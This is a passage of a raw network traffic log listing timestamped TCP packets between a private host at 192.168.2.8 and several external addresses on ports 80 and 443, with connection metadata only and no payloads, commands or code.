Nov 18, 2024 13:29:36.358731031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358742952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.358783960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358795881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.358994961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359005928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359015942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359035969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359047890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359059095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359061003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359072924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359078884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359088898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359101057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359103918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359113932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359127045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359128952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359142065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359150887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359155893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359162092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359195948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359404087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359483004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359494925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359508991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359519958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359534979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359563112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359649897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359663963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359694004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359704971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359718084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359723091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359729052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359735012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359744072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359786987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359819889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359931946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359944105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359958887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359972000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359972954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359982014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.359986067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.359997988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360002995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360011101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360023022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360023022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360040903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360048056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360054970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360065937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360099077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360301018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360315084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360326052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360337973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360342026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360352039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360363007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360368967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360383034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360392094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360399008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360405922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360409975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360423088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360431910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360435963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360447884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360450983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360461950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360472918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360476017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360485077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360496044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360497952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360511065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360522032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.360569000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360569000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.360569000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361088037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361100912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361113071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361125946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361136913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361141920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361145973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361159086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361166954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361172915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361180067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361183882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361196041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361201048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361207962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361218929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361227989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361232042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361243963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361254930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361258030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361270905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.361274958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361426115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.361426115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.422420979 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.424220085 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.424313068 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:36.424379110 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:36.436594963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.436666012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.498097897 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.502989054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.777908087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.777923107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.777936935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.777957916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.777971983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.777978897 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778017998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778017998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778089046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778103113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778161049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778162003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778192997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778204918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778217077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778228998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778240919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778247118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778251886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778265953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778304100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778332949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778352022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778364897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778373003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778378010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778398037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778413057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778491020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778512955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778523922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778531075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778558969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778635979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778692007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778702974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778717041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778752089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778825998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778840065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778851032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778865099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.778875113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778887033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.778919935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779079914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779119968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779268980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779282093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779294014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779305935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779325008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779328108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779337883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779371977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779382944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779396057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779397011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779408932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779422998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779433966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779434919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779443979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779447079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779459000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779475927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779478073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779489994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779501915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779520988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779539108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779664040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779676914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779687881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779700994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779710054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779714108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779740095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779752016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779795885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779927015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779938936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779952049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779958010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.779964924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779977083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.779989004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780002117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780002117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780021906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780035973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780227900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780240059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780258894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780272007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780272961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780282974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780294895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780299902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780308008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780320883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780325890 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780356884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780553102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780565977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780576944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780589104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780599117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780600071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780612946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780623913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780626059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780637980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780651093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780656099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780664921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:36.780675888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:36.780695915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:37.492450953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:37.492542982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:37.497402906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:37.497416973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.275186062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.275266886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.278945923 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.278975964 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:38.279597998 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.279891968 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.279906034 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:38.350846052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.355771065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.632842064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.632858992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.632900953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.632910013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.632950068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.632950068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.632965088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.633004904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.635571003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.640458107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.900417089 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:38.900681973 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.900710106 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:38.901774883 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:38.901837111 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.902314901 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.902383089 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:38.902472973 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.902493000 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:38.937480927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:38.937570095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.949407101 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:38.951009989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:38.955990076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:39.027400970 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.027427912 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.027487993 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.027498960 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.027513981 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.027551889 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.031991959 CET	49826	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.032007933 CET	443	49826	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.040828943 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.040935993 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.041013002 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.041213989 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.041249990 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.641247988 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.641544104 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.641612053 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.642415047 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.642729044 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.642803907 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.642888069 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.683330059 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.723417997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:39.723478079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:39.755948067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:39.760783911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:39.779494047 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.779520988 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.779587984 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.779618025 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.779685974 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.781852961 CET	49827	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.781897068 CET	443	49827	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.789669037 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.789690971 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:39.789764881 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.789972067 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:39.789982080 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.037628889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:40.037704945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:40.041465044 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.046511889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.046602011 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.046741962 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.051563978 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.404653072 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.406034946 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.406058073 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.407203913 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.408749104 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.408922911 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.409358978 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.455332994 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.536298037 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.536325932 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.536396027 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.536417007 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.536449909 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.554250956 CET	49828	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.554269075 CET	443	49828	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.563199043 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.563222885 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:40.563290119 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.563479900 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:40.563491106 CET	443	49830	23.47.50.145	192.168.2.8
